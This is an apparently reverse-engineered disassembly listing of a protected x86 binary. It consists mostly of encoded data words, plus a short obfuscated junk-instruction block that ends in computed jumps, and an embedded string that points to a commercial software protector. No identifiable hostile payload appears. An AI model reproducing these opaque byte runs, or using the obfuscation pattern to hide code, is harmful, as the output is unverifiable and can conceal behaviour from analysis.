		dd 21C47897h, 2D984CB7h, 24C3798Ch, 97AD4FB8h, 8A7D5D1Ah
		dd 0C2497352h, 0F910BB1Ah, 0D23BA443h, 64EFC82Ah, 2399DA19h
		dd 0CE8F3196h, 787D8831h, 815E8DA1h, 9960098Ch,	9685FF7Ah
		dd 6F7F7C29h, 27AE5F80h, 0A7080CADh, 0E6D5321Ah, 8CDA29CDh
		dd 3DDE3FA0h, 2995C73Ch, 0E7D3CCB9h, 0C730E920h, 3EEBE221h
		dd 5EF01BC1h, 0E7510BD4h, 58164D2Fh, 0F0000000h, 7C8731CEh
		dd 0C2188EDAh, 0AC96FC17h, 1FE92F8Fh, 3A656B6Ah, 0CACB0621h
		dd 0D536981Fh, 0DB241h,	78EBF3D9h, 0DB7D0314h, 0F9D6013Bh
		dd 9F09A114h, 57369E43h, 5DA81179h, 682B8158h, 65D26417h
		dd 960090B6h, 0AC11AE29h, 57BD6C61h, 50D98C5Eh,	0EE608D6h
		dd 8C55EB11h, 8976AB64h, 0AA84AA65h, 0DF7CA34Bh, 2996859Eh
		dd 7EA36E1Bh, 85E598C3h, 0A5622996h, 0D9AB5891h, 41299685h
		dd 2DCA6F9Ah, 0A574798Ch, 25B3A791h, 0AC1744FDh, 9D2F9317h
		dd 1CBE39E0h, 1F417B5h,	0E53BE128h, 0C6E946CEh,	2CC4B874h
		dd 6B8B46BFh, 0AFB0CAA6h, 0C11D9A4Dh, 0BA7CA84Eh, 0BF000001h
		dd 7F769738h, 0FFAE84AAh, 0CE112F6Bh, 9685E98Dh, 3A25A729h
		dd 23A669DCh, 32917C92h, 9F7A7B88h, 7ACEB66Ah, 0FFAB4A9Ch
		dd 68114268h, 0E5299685h, 0AF48F138h, 0E55BFB0Ah, 66FF4AFEh
		dd 66DA1434h, 2F523AA6h, 527B50h, 0CECD0000h, 6E808B31h
		dd 0B3D65F2h, 7F8A31CEh, 49C4290Eh, 0BA5C9544h,	8598DE7Dh
		dd 3C1B2996h, 0A6737A93h, 9F49B66Bh, 0CE6CD264h, 8710A173h
		dd 82752ABBh, 5E8CC66Ch, 271283A5h, 91EC27D2h, 0E299685h
		dd 85770211h, 7F42996h,	598A51E7h, 0B6000000h, 0E3268FFh
		dd 95E873CEh, 12299685h, 0D340115h, 4E3FCCF2h, 4FB8249Bh
		dd 0E86B8B5Eh, 29968592h, 0A06B5132h, 65A24A2Dh, 0B970B970h
		dd 8831CE87h, 3EF30360h, 0EC382E7h, 8CFD4BE8h, 8F48735Eh
		dd 6D3DA29h, 26DB06CBh,	968584F5h, 0F2040129h, 9027124Ch
		dd 0FF35D92Ah
		dd 2F523AA6h, 487B50h, 4EC60000h, 4D15CC58h, 0BD83934Fh
		dd 143466FFh, 85E98DCEh, 10A72996h, 7F5A5BACh, 669A876Fh
		dd 808B31CEh, 8C7FC16Eh, 0CE7DAB64h, 0B58FA846h, 73FA7081h
		dd 0DA63A2F7h, 1342AA5Fh, 2D2852EEh, 0BD531C32h, 4C8Ah
		dd 73CEB600h, 968595E8h, 1151229h, 7AAEFC65h, 818C31CEh
		dd 0E793C06Dh, 87299685h, 85C8B162h, 0A13E2996h, 448D7A6Ch
		dd 8EBA379Dh, 0E7D691C5h, 46CEF147h, 39E9B46Ch,	42EFFFF4h
		dd 79648CFEh, 6336B752h, 31CE7AAEh, 0A0D97D88h,	0A173CE00h
		dd 0BA1EC6A5h, 5A23304Ah, 0D729961Ah, 5153C22Ah, 0AEF13412h
		dd 0FE366788h, 2592FFFFh, 705B44C7h, 0B1451499h, 4169FF8Bh
		dd 1F419B6h, 85720B28h,	5E82996h, 2CE5A204h, 6E0F4CF5h
		dd 0EB299685h, 1B183Eh,	2F931851h, 37C07926h, 4AC27796h
		dd 9969890Ch, 0A58F9FCEh, 46FB2FB5h, 33DC04FBh,	447E7C2h
		dd 2399BE79h, 0B229C631h, 2135FC09h, 1FF52CD9h,	7ABAD10Dh
		dd 0C51E304Ah, 0D40FB024h, 9BF14F9Ah, 0B1A7D87Bh, 0C57A2399h
		dd 8665F4Fh, 0E50915EDh, 62FEC816h, 3248D316h, 2E314C07h
		dd 45A7239Ah, 0CDF1E0C6h, 539E4B42h, 2167C3h, 7FBA0000h
		dd 9A2EA9D4h, 205C2623h, 783329BFh, 9CA2B47Dh, 968591E8h
		dd 5FAE0F29h, 0EF18BDh,	0CE680000h, 0CE8D8831h,	299685ABh
		dd 0A0B67B28h, 0EBEB52C4h, 945C4491h, 2132E722h, 2F8EAE95h
		dd 0D904ECD3h, 0DCD118F3h, 2411E90Dh, 9C9A86F7h, 38D1FC23h
		dd 502E4B5h, 43AA15CCh,	14B71EC6h, 0FD7E34D8h, 0CB06092Ah
		dd 0C641A916h, 0B523B730h, 728DB46Dh, 5F3ABB48h, 0BCC17CCFh
		dd 0C1BE2999h, 0CD3C9F18h, 0E5C6C014h, 606024C3h, 3CC364CEh
		dd 18D77790h, 0C96154B5h, 1FEAD15Fh, 7569DEAEh,	0FE3F38E4h
		dd 0FE43FE33h, 21FD9416h, 8F2D9A89h, 69A0797Ch,	0BFA82C5h
		dd 0B471239Eh, 0A24C728Dh, 0C96E2D2Fh, 0A64881B8h, 0BC516E89h
		dd 0B8189F88h, 9738B757h, 7D34A576h, 254EA4F7h,	0FDD40h
		dd 20F1D000h, 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h
		dd 0B3E021F3h, 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h
		dd 0D68FEA29h, 570C2399h, 0AA638C99h, 385F9D6Fh, 0E8FF7A99h
		dd 7F7C2995h, 0E87AE02Dh, 0D2510704h, 0A44A5B10h, 8A933C3Bh
		dd 967BB0C9h, 0B9702D29h, 7E853334h, 0BA4B7077h, 81CDAA33h
		dd 6A784FDDh, 8CB05D82h, 2F53E983h, 0C057BD4Dh,	1C2B7FD6h
		dd 934E86E4h, 9C55908Fh, 50C3B665h, 43402996h, 6677B3h
		dd 0CED10000h, 8595E873h, 0E4D2996h, 2996856Bh,	0DECB3BE8h
		dd 60BA2C38h, 577780B9h, 0D26435B8h, 8FA7037Fh,	0A546B12Fh
		dd 9ABC6D60h, 0C2497362h, 3CA18607h, 644732E1h,	0D7C4239Dh
		dd 870EFFE0h, 17E217D2h, 9D6481FCh, 0ED01FE23h,	0D23BA443h
		dd 3841D227h, 0B5239D64h, 2DBD26C8h, 99BA5FBBh,	29966F1Dh
		dd 5FC16320h, 76AB648Ch, 87A76289h, 85DCA6ADh, 8A822996h
		dd 943B96B2h, 0DF0E20C2h, 0EBD40DFCh, 43D00900h, 2996823Ah
		dd 0A24CAB7h, 59CA72Dh,	243B08FBh, 0AAC05612h, 960C1069h
		dd 59908D29h, 56B517A0h, 31CE73C0h, 0DA6D818Ch,	2F929DF0h
		dd 4C2DEECBh, 0C9239979h, 15EC15DCh, 99797306h,	0D801F023h
		dd 0E552E42Dh, 0FBE1F0DAh, 9720D910h, 8E5D231h,	0E947F105h
		dd 0AF51CAA6h, 0C11D9A4Dh, 615F664Eh, 0C1CEE9BEh, 1E7F12Dh
		dd 0B34C0000h, 0DE8B0209h, 31CE0238h, 5D0C818Ch, 0F139ADB9h
		dd 96851762h, 22E79429h, 0E98DCEFEh, 89299685h,	8247C42Ah
		dd 9C7ACE5Eh, 68FFAB4Ah, 7BC315h, 0A70DAD11h, 5752B745h
		dd 1ACE0343h, 66FF4AFEh, 0CDF20D34h, 0CE88AE40h, 8595E873h
		dd 15122996h, 0F3D94001h, 25F9DF0Eh, 1D60FBEBh,	9A2995CBh
		dd 2C1224EDh, 2F523AA6h, 6A7B50h, 4EC60000h, 6F43312Ah
		dd 3B011587h, 0E3268FFh, 7C8731CEh, 0A18EA079h,	0B516A158h
		dd 6F8C5D50h, 2996860Eh, 8A836C8Bh, 0DE9CAF3Fh,	61299685h
		dd 39BC4972h, 0CE77A960h, 0EC8DCE73h, 62299685h, 4D1C917Eh
		dd 0B7547A59h, 88AE6336h, 0A55E8CB2h, 0CE2E1283h, 3BED2246h
		dd 8393BA19h, 4572h, 0E172C700h, 2995D998h, 70C66815h
		dd 0DB0068FFh, 0CE41DF2Ah, 0A9628C73h, 6EE17524h, 29968608h
		dd 0CECF71A8h, 0B828D31h, 85CCAD6Eh, 5C492996h,	94B48195h
		dd 4A735E8Ch, 0B517D2C3h, 0E4637B18h, 77A9607Fh, 3AA62E12h
		dd 8A502F52h, 85D9A4AFh, 0A9562696h, 7F9985h, 0CE6B0000h
		dd 1B8A4246h, 0AA02F9EAh, 48E053D5h, 6CF81EBDh,	0CE83A5F5h
		dd 9685E98Dh, 0C152A729h, 299685B8h, 4EA64835h,	0FD8E8434h
		dd 64AD1D83h, 0CE7ACEC4h, 8595E873h, 0E10B2996h, 10F6A32Ah
		dd 0CCF40313h, 16318726h, 0AE631877h, 0FAF3A173h, 5D979D0h
		dd 0D5D8359Ah, 0CE4CF204h, 83908B31h, 299685FAh, 0AF3F8A77h
		dd 31CEEAC6h, 7B6C828Dh, 32h, 549C41BEh, 0C836DA0Bh, 0F717D24Ah
		dd 3466FF41h, 0E98DCE14h, 89299685h, 73CEAC5Ch,	99E52AA1h
		dd 28CEEE02h, 8E648C12h, 63928Ah, 53F53C0Eh, 46CE2E12h
		dd 0BD2DD83h, 36B75752h, 0FFFFFE10h, 92E59183h,	44BEDEFEh
		dd 749A715Bh, 3169FFBEh, 18064B08h, 0BE162F93h,	5164C9Ch
		dd 239A2C74h, 25E034F1h, 45AD4148h, 7458A158h, 4B4921B0h
		dd 0E21125BEh, 8FDDEFDh, 3A9F18C1h, 740516CBh, 0F1239A7Eh
		dd 20182234h, 88B168BAh, 7ED7A2B1h, 0A754239Ah,	2FC43445h
		dd 6A8C9640h, 99B696E7h, 9F161323h, 99B68BF4h, 0DED95E23h
		dd 0CF8A0B00h, 0B492C03Fh, 48D39638h, 3FC6F30Ch, 4373AFh
		dd 0CED50000h, 0E7F8A31h, 0E1CE795Bh, 8DBC02Dh,	0BC1663E6h
		dd 0FED62995h, 7FBC7651h, 0E80727D9h, 8FBBE907h, 0D6008058h
		dd 0BF0A05E9h, 4934DF1Ah, 0C62995E0h, 1EFB35D9h, 0E6D13CA1h
		dd 2F30308h, 118h, 3169FF3Eh, 8D234B08h, 8FBE2F8Fh, 0EB16DB2Ah
		dd 0AD20E9D4h, 0E2DD5AFCh, 17F0DCFBh, 0F4DCC396h, 0C72ED61Bh
		dd 9752C824h, 219E0BFFh, 8AC8EDCBh, 0FB3681DCh,	0C1DD2FFAh
		dd 0AA378AC5h, 0B12743D3h, 9EA3B069h, 0CE2999EDh, 0C795E873h
		dd 25121DA0h, 0A0C783F6h, 0CE03001Dh, 2ED3D028h, 3ADF2A91h
		dd 59FA1DBDh, 1DA0C720h, 0A429E09Dh, 0F0D761F5h, 0F053CCDh
		dd 0EE8B865Ch, 0D71026DFh, 0AE09BA12h, 56BE4D6Fh, 90079F4Bh
		dd 2F3BDB2Ch, 81B861B9h, 0A09FA7D2h, 0D777241Dh, 30C3B95Ah
		dd 1B3A239Dh, 86535AB1h, 0B06B964Bh, 17A40ECDh,	7CB95D4Ah
		dd 9EDF7CC5h, 1B17A40Eh, 0B277903Ch, 0EB1CC87h,	712E17A4h
		dd 5CB10EDDh, 531B2FA5h, 0CD4D1194h, 17A808E7h,	9DB1F52Bh
		dd 828B3493h, 0F41DDE31h, 0C2A3CCA4h, 0ADAh, 0FD1FF2CDh
		dd 0E319F6DAh, 0F72DD604h, 0E21AEBD0h, 0C30D703h, 10BCFB36h
		dd 3CA245F7h, 23CA2DCFh, 36973EE6h, 0FABF25D7h,	99D12059h
		dd 88289D23h, 7C8731CEh, 5F8EA079h, 9C7F5D7Eh, 9685FE7Fh
		dd 438E7B29h, 5B529752h, 0E705369Eh, 139A715Bh,	6FC66E46h
		dd 0E396C57Ch, 6029963Fh, 7B6493A3h, 0C1334275h, 0EED095A6h
		dd 8C1981Dh, 9F58CCC1h,	5657B818h, 46947383h, 68528966h
		dd 50B9249Bh, 9C458C5Dh, 0EF808238h, 0A0B61C8Eh, 14974996h
		dd 5C504D2Fh, 0B2000000h, 6ED946CEh, 0BC1C4284h, 1258CE9Ah
		dd 95FB7801h, 3BD0EE29h, 2FFDFBAh, 0C50112C7h, 0E32F8F26h
		dd 0F519F2DCh, 1DF2CEFDh, 0F7D6C198h, 3CE9B12h,	0DF8E1DEh
		dd 0A43DD188h, 9CD05A1Fh, 80CE3923h, 0D6E82AC6h, 0E0FDFA48h
		dd 5DF1A82Dh, 66C1h, 36B81C00h,	6FA743DAh, 0CE0339DDh
		dd 8595E873h, 15122996h, 75F36501h, 6D3CB154h, 5CDE7DA4h
		dd 572F8F95h, 3E9D6FAAh, 0C5878D15h, 189D6C4Fh,	0AF0F8841h
		dd 5415CE60h, 0C60B6EADh, 5C81239Ch, 0BE504DB1h, 5D7F8E2Fh
		dd 81B8557Ah, 1CBED38Bh, 4CE2AC0Ch, 49910793h, 704E6990h
		dd 96D87B9Bh, 312995D4h, 0CE6ED074h, 81928D31h,	299685F8h
		dd 4C418875h, 0CFDF799Dh, 2DDE00F7h, 0B48F1A8h,	29968572h
		dd 401C32EFh, 7F558CD6h, 71979C78h, 15AF4EBAh, 2A6080BEh
		dd 31E24FDFh, 2F8F38DDh, 79DA7330h, 0E41352A3h,	0C340AA15h
		dd 0BD7CFD1Eh, 0CF96326h, 80E87EEAh, 6F2AAB5Ch,	56787FBAh
		dd 8794A1B5h, 691FE50Bh, 0CAB36099h, 475D2D96h,	3F3CB45Ah
		dd 4DC01D9Ah, 3CAA40A9h, 16C43BE6h, 15EC49EDh, 26C845AAh
		dd 26D0C023h, 0C655AC63h, 57345BB3h, 1BE37330h,	0A24CB36Eh
		dd 3E01334Ch, 3AEFCCB3h, 0E9EC1FBDh, 0A6111E30h, 0B71DC449h
		dd 6FD9A29Eh, 0EB45E90Bh, 0FF0AB14Eh, 0CA45A98Eh, 0D53698FFh
		dd 0DB241h, 640656B3h, 3A3B3467h, 8BEh,	0E1030EB1h, 0F35DAF6h
		dd 0DB0102E8h, 0E36CFFCh, 0E00403E7h, 2C90CF42h, 20BE29DBh
		dd 2F8E39EBh, 1AC322DAh, 0D6A351F3h, 99CF3445h,	7C3CB123h
		dd 6FAA638Ch, 85F089CAh, 0B06D2996h, 1BA4459Eh,	97613AAEh
		dd 48FD7E2Ch, 5C7E6D81h, 678572A7h, 947831A4h, 13E6DADBh
		dd 250F1F53h, 0A445A335h, 9B71A861h, 0D6A70F28h, 0FBE1DE64h
		dd 831FE10h, 2F0BB204h,	799ACE42h, 2995BF00h, 0A549807Dh
		dd 92519BA2h, 7D61902Fh, 2AA25792h, 0E8A36C0Ah,	7F27B7F2h
		dd 0B91BCD50h, 2205DE70h, 58B319B8h, 86F34291h,	0A8C9B0FBh
		dd 811BDh, 34DD0400h, 609E510h,	32D1F7DEh, 7FEEB0Ah, 3DCAF2D5h
		dd 0C7F42D07h, 9540E423h, 0C530D437h, 9641E326h, 0C230D439h
		dd 0CE1366F5h, 0DB902399h, 1469FF1Dh, 1F45817Ch, 44C3275Dh
		dd 379D448Dh, 850D8B72h, 0BEAE6E6Dh, 0C9305377h, 0F841EE00h
		dd 341F8514h, 0FC8D99F4h, 0A036F742h, 500313DEh, 2F9232EDh
		dd 2AE10BEAh, 0B44BEEDFh, 0FEED010Ah, 611C37DCh, 0DE23990Dh
		dd 120BE821h, 88B0FBB4h, 78C7E67h, 607F0000h, 846C8BB1h
		dd 4C6E598Bh, 796285B7h, 4D6D588Ch, 71B082BAh, 0B76D9A42h
		dd 0A75DAE10h, 0B86C9D40h, 0A75DB00Dh, 9EDF7C3Dh, 1B2399CDh
		dd 69FF12B6h, 0E62BDAFFh, 1819203Bh, 611E2F93h,	745D8B6Ch
		dd 0AD0EC34Ch, 0B0FA5F7Ah, 3B0E1718h, 2E000007h, 1FC67E93h
		dd 49AC50BFh, 15C0649Fh, 4CAB51B4h, 5FB567A0h, 0B2557522h
		dd 8A816B8Ah, 0C1487352h, 0FA13BC1Bh, 3CD7A042h, 2399CD41h
		dd 0CE6709BEh, 8173D446h, 6D8146A7h, 29AC617Eh,	0B2517780h
		dd 9D704D9Ch, 966D5B64h, 3BA44A1Fh, 0CAF007B2h,	0F8E61539h
		dd 0C152CBF4h, 299636B8h, 58814835h, 1D907F5Fh,	0A790AA4Ch
		dd 5A5BAC10h, 5F806F7Fh, 0DE9C27AEh, 5A299636h,	917E6271h
		dd 11844D1Ch, 5144C926h, 0AB818666h, 81D08EDCh,	6F9E3FB8h
		dd 3A3220DFh, 45A5B95h,	0BBE965F5h, 8834CB76h, 64C56F7Fh
		dd 4F02570h, 213595C9h,	0D2EEEDD2h, 0A32AE10Bh,	0FFF63BF6h
		dd 0B36D7F8h, 2417DE36h, 8BD90F36h, 95C90D70h, 799D8A29h
		dd 2E725ABFh, 0FEAAD71Dh, 56C09CB2h, 3630F9EFh,	955CEB36h
		dd 1D93AF6Ch, 36C12F8Fh, 4E9C7095h, 5FB07B77h, 6522DA7Ch
		dd 6F96E370h, 0CC75239Dh, 6F93E675h, 1310239Dh,	0F0D60403h
		dd 48D64F7Ch, 3D39h, 69FF0B00h,	0BE2FDEFFh, 60FB26EBh
		dd 2F8F97CEh, 0AB93CE9h, 239D726Bh, 8F0601E9h, 0CFC647A8h
		dd 40F8D3FDh, 4F257179h, 9C422A38h, 66AB7E6Fh, 5F2733DAh
		dd 48D6198Dh, 1014Ah, 46CE9C00h, 11E844h, 7E608FCh, 0C1A627E6h
		dd 0CC33EE19h, 9D46E821h, 11F8E3DCh, 3CD1EEFDh,	0D31CF0B9h
		dd 5DE9FEC0h, 0A13EAD41h, 4F69B86Ch, 89299622h,	99BD526Eh
		dd 8566755Ah, 955C0D80h, 0A667886Fh, 0F52DBB2Fh, 0F4CF54Ch
		dd 2996196Eh, 26DF0CEBh, 1F2FFAAFh, 8F2F2A2Ch, 4A09302Fh
		dd 239D032Fh, 975FEFACh, 0FBF213B8h, 0D841E32Eh, 0EA0FFEDFh
		dd 9D035029h, 3ED0CD23h, 0B36EB422h, 3ACCD8Eh, 7C29239Dh
		dd 0A2BE5DDAh, 512998F7h, 0AA12AD54h, 494CC32Bh, 44A35990h
		dd 0A9D47F98h, 261DA10Fh, 0FAFCA89h, 6F2C1DA1h,	0FFA46FBAh
		dd 0DBEF3BAh, 53401E4h,	0C8270000h, 8C349349h, 54766183h
		dd 816A8DAFh, 55756084h, 79B88AB2h, 0CF75923Ah,	9F45C628h
		dd 0D0749538h, 9F45C825h, 0A6D78435h, 232399CBh, 608C0AAEh
		dd 688572A7h, 0D57930A5h, 9C41BE5Bh, 9F648671h,	8E7F608Fh
		dd 46CEB856h, 0ADEEB16Fh, 0E58195C5h, 5F22773h,	261323E6h
		dd 8EC835F5h, 49748B2Fh, 0FA1CCDC0h, 22E9D302h,	185DE6E7h
		dd 96239CA2h, 0D5E2D338h, 2A213F6h, 0D1673723h,	0AA694F68h
		dd 9CA31069h, 59908D23h, 2E1846B5h, 48D6BEB2h, 12A73h
		dd 31CED500h, 0A2777E89h, 70805D8Ch, 2BE84C6Eh,	29965C52h
		dd 7BFAD2CFh, 0F00C9A21h, 0B148C7C9h, 0B188B178h, 95F8D7A2h
		dd 87A75429h, 9671595Eh, 0FD48741Fh, 9F402995h,	0AE0FB66Eh
		dd 8B61912Dh, 0CD98B8F2h, 43FE33FEh, 0BC3EAFD1h, 0FEEC3F88h
		dd 0C12ACC05h, 2AD9FFF8h, 94CE5804h, 61CA676Dh,	81A8D182h
		dd 78252996h, 8B005394h, 0C58DCE6Bh, 902F8F36h,	98C7761h
		dd 82816750h, 0C7259247h, 0D088B244h, 0DAE51C46h, 330016F3h
		dd 22CC330Eh, 0A2F4AE9h, 2CE7239Dh, 239D0A51h, 30EDD1CEh
		dd 0FADA2B1Eh, 75822998h, 59A1B558h, 71B8557Ah,	7C8B2FC8h
		dd 73585FC8h, 0A84E1B92h, 8A34A149h, 945D0C81h,	0F3A00C47h
		dd 0F8FDF6BEh, 3CEh, 51F31EC1h,	1FC54AA6h, 4BF112B8h, 1EC63FACh
		dd 50F413B7h, 0DC00BFF2h, 0F0CEF92Bh, 0DFFEE91Bh, 0EAD3F22Ah
		dd 26D30123h, 99CA84F5h, 0AC4C0123h, 72A7608Ch,	85F18CC7h
		dd 0B16E2996h, 0CB76939Dh, 9685ED90h, 42BD6A29h, 0EDD719Eh
		dd 48C52AB1h, 85F78291h, 87742996h, 8C849A42h, 886FAA63h
		dd 5790A667h, 0D1AC6792h, 4E299685h, 94017B51h,	306ADA0Eh
		dd 1FEECF1Eh, 62DB4DFDh, 0E5A3067Ah, 0D3F8DFE5h, 1142F732h
		dd 2F8EF1B5h, 0FA15B998h, 242F0A2Fh, 239C9B59h,	0DC0529D6h
		dd 0A793B71Dh, 53BCFBECh, 0ACE990C3h, 8767239Ch, 0BB220588h
		dd 4CC3474Eh, 7FB8401Eh, 3C94A28Dh, 0A3767790h,	0EE8851h
		dd 3C30FEEh, 48D6DE69h,	0BF1EC23Dh, 2BFEEF1Eh, 75D450E6h
		dd 27000000h, 899E1AA5h, 0D47AF07Eh, 2146CE5Eh,	0FD423C72h
		dd 89ECA6Ch, 0CD2FAEB5h, 17D2D3B6h, 31E217E2h, 29968448h
		dd 1336D8C5h, 2F8FB5A3h, 52D9D4AEh, 58EDDE68h, 775D1C91h
		dd 600F50F0h, 0C78AACC4h, 239C94B2h, 7B51A891h,	312F54E0h
		dd 0FD809B30h, 73239D4Fh, 5B48BE45h, 281E4CBBh,	48D66BB4h
		dd 0B2517780h, 5CC86E3Bh, 34h, 55B6189Fh, 0CF658960h, 0BA8246CEh
		dd 0D8BD9CDBh, 0AE671336h, 0C0562995h, 0E2B45F9Ah, 2D2F8EC0h
		dd 966BCC70h, 0ACC5E13Eh, 0B95A6574h, 239D65C0h, 88AE403Dh
		dd 95E873CEh, 12299685h, 0F3650115h, 41B45775h,	0C178A168h
		dd 85A2DB78h, 301F2996h, 0A2B47D8Eh, 8F9D4FAFh,	0D1FA052Fh
		dd 0BD30DD02h, 0F9B025ECh, 7F09D55h, 0F9B025E4h, 9D6E1F5Ah
		dd 2ADF9C23h, 27E808EFh
		dd 0B91BDE07h, 0D296F6DDh, 63E608F4h, 239CB516h, 22CC1AF5h
		dd 9C4BF5D7h, 53F83BB8h, 9CF8B5C8h, 0E1753223h,	0D6D4B02Ch
		dd 9EBD8448h, 239CF0DBh, 9F8BAB58h, 46h, 0A173CE69h, 7298242Bh
		dd 0BEBF5C79h, 3B299629h, 0D0A5A84Eh, 90299629h, 512D383Ch
		dd 7F8F50F9h, 0D0FB75E3h, 0A49F039h, 2F8F5288h,	4C68060Eh
		dd 98C7D60h, 0E18C7C50h, 0A1DC77A2h, 1E239C91h,	7825CD61h
		dd 69FF6AC4h, 85671241h, 0FBDD2996h, 0F2D48508h, 1645FC35h
		dd 2F931817h, 9A6B5067h, 48B04613h, 8247C229h, 717F6057h
		dd 0F202BF29h, 18C108CFh, 29CD3C9Fh, 0B8A22A0Fh, 677AE5A9h
		dd 1CC130C6h, 9AF48F1h,	1026F3FAh, 8DD543D7h, 0FAE7C754h
		dd 0C23D2996h, 0F910BB1Ah, 0F3ECBD30h, 46AE40C7h, 0B617A059h
		dd 7B84A557h, 5594BA51h, 8A209578h, 0E61BC61Ch,	9DD64435h
		dd 32C4C11Dh, 0FF445605h, 827F2396h, 0F7151031h, 0FCE90AA4h
		dd 102h, 537DAF5h, 0EB11FEE2h, 0FF25DE0Ch, 0EA12F3D8h
		dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh
		dd 82379D3Fh, 99C7A8D1h, 0C02523h, 83169FFh, 0B73ECDEFh
		dd 34DF4CE2h, 2F931776h, 40E9EC99h, 14F817B7h, 4A8E8533h
		dd 0BF2EC027h, 0EA1DBD1Eh, 49FB36E3h, 3FDC419Eh, 2399F73Eh
		dd 9203CEBBh, 19EAD0E7h, 513C52F5h, 6288755Dh, 0A24B2CA1h
		dd 9C9DE07Bh, 6D1AD1D6h, 62A931A4h, 0D4A3AA74h,	0C449A686h
		dd 0D818B520h, 8694BBA5h, 609950A5h, 1401156Ch,	6D6A1174h
		dd 5099BD50h, 6D518267h, 739635A2h, 0B762A782h,	7E6FA040h
		dd 0B8628BABh, 63690551h, 6455F3CAh, 9B5AFC8Eh,	0DB26DB32h
		dd 0D6AE3D40h, 29CDBAD1h, 2ACF2A0Fh, 0D6AE90E9h, 3100DD1h
		dd 0D1D6AE7Ah, 5E40AF7h, 555908E8h, 4331CB78h, 836C538Eh
		dd 0C056038Ah, 0C08A8227h, 0C0A32D1Ch, 3E8092Dh, 18000000h
		dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh,	4F7B7C71h
		dd 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h, 561BCCC1h
		dd 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], edi
		push	5C14h
		mov	[esp+0], ecx
		push	ebx
		mov	ebx, 62331890h
		sub	ebx, 729C043Dh
		push	edx
		mov	edx, 2C6979CEh
		and	edx, 11164B7Eh
		dec	edx
		or	edx, 66DF5B9Fh
		xor	edx, 2271245Fh
		xor	ebx, edx
		pop	edx
		shl	ebx, 6
		and	ebx, 53247C46h
		shr	ebx, 8
		xor	ebx, 5BE942Dh
		mov	edi, ebx
		pop	ebx
		push	esp
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, ecx
		mov	[ebx], edi
		mov	ebx, [esp+0]
		add	esp, 4
		mov	ecx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	edi, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 0FDh
		dd 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h
; ---------------------------------------------------------------------------


loc_5A7674:				; CODE XREF: sub_5A47B5:loc_5A496Fj
		mov	eax, 5FCBFBEh
		add	eax, ebp
		jmp	eax
sub_5A47B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B6h, 2 dup(90h)
		dd 0C39A017Eh, 570C9020h, 0DDEB0222h, 0F8AD5214h, 6632DD74h
		dd 0F3318160h, 0E7A3BF5Eh, 32B5A35Bh, 6185A43h,	6307004Fh
		dd 6DE5DC1Ah, 0B11C514Ah, 0C4D15D68h, 0D57D4D6Ah, 4B1B1B4Ch
		dd 2FE54F39h, 7DEF295Ch, 482B3F28h, 0D01B8D6Ah,	0EDCD0D08h
		dd 7E72326Ch, 5D951A79h, 0BAC58207h, 0F42D5248h, 0A8B25D4Ch
		dd 8380B007h, 3094DD6Dh, 400E923h, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FB48+4B8h
		dd offset dword_44FF94+6Ch
		dd 0
		dd 5DE90000h, 89000011h, 0F90A619Dh, 0C5858B05h, 6A05F90Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 14F4C353h, 0DD265BC7h, 0C1B5890Dh, 3905F909h
		dd 0F042444h, 9B85h, 0A5BD8900h, 6005F90Fh, 12C19589h
		dd 0BD8B05F9h, 5F93139h, 51BD8361h, 5F92Bh, 7A840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 66FBBDC3h, 0B6024C4h, 0F92401BDh, 7DBD8905h,	6105F915h
		dd 3A6A858Dh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 1791AC3h, 0F90941B5h, 6AE0FF05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0B56DC352h, 9CBF54C3h, 2109858Bh,	6A05F9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 24960CC3h, 11E91E16h, 2B000000h, 0A50C35B6h,	967F3D16h
		dd 0F1E93F65h, 41C449A6h, 2B0D8D89h, 443905F9h,	850F0424h
		dd 41h,	0AE960h, 352A0000h, 0E9C51D48h,	3A754D3Fh, 14E9h
		dd 5FD18C00h, 0A13838A9h, 0A8040540h, 0D04842F9h, 65A9C22Ah
		dd 95896118h, 5F90955h,	0C50185C7h, 105FCh, 810F0000h
		dd 1, 6A60F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0C9EEBDC3h, 0E98F8CEDh, 36h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0ACC35343h, 10E997h
		dd 0B0F10000h, 1792E761h, 0F0172F7Dh, 68F091BEh, 9AFAh
		dd 1B80000h, 87000000h,	0FCC6C985h, 75C00B05h, 99B5FFF6h
		dd 8F05F918h, 0FCC4F985h, 6A206A05h, 9195FFFFh,	8305F924h
		dd 0F926D5BDh, 8740005h, 95FF006Ah, 5F91AEDh, 1825BD83h
